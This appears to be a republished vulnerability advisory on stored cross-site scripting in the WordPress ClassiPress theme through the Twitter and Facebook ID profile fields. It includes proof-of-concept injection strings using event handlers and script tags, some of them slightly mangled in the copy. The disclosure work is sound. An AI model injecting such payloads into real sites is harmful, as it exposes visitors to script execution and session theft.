WordPress Classipress Theme & lt; = 3.1.4 storage type XSS

Source: Internet
Author: User

 

Title: WordPress Classipress Theme <= 3.1.4 Stored XSS

Author: Paul Loftness www.2cto.com

Developer r: Appthemes LLc.

Product Page: http://www.appthemes.com/themes/classipress/

Version: <= 3.1.4

Tested version: 3.1.4, 3.0.5.3

 

Summary:

-------------------------

ClassiPress is a popular and widely used classified ads software for WordPress.

 

Overview:

-------------------------

Classipress is vulnerable to multiple stored XSS vulnerabilities. input through the POST parameters 'Facebook _ id' and 'twitter _ id' in a registered user's profile page is either not sanitisized or poorly sanitised (version specific) allowing the attacker to insert Javascript code.

 

In version 3.0.5.2 and presumably all previous versions, no sanitation is in place, allowing an attacker to insert code within a tag or to break out of it. in version 3.1.4, the less-than character is sanitised but an attacker can still insert quotes and place an event handler in the tag.

 

 

Example test:

-------------------------

 

Insertion page: http://www.bkjia.com/author/profile/

Infected page: http://www.bkjia.com/author/attacker_username/

Note: Some sites replace "author" with another path, this is not a vanilla configuration, however.

 

Version: ClassiPress 3.0.5.2

Vulnerable Input Parameters:

 

Twitter_id: "onmouseover =" alert ('xsss ');

Facebook_id: "onmouseover =" alert ('xsss ');

Alternate Exploit code:

Twitter_id: "> <script> alert ('xss'); </script> <div id ="

Facebook_id: "> <script> alert ('xss'); </script> <div id ="

 

 

Version: ClassiPress 3.1.4

Vulnerable Input Parameters:

Twitter_id: "onmouseover = 'alert (" XSS "); '> <

Facebook_id: "onmouseover = 'alert (" XSS "); '> <

Www.2cto.com:

Two-character Filter

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.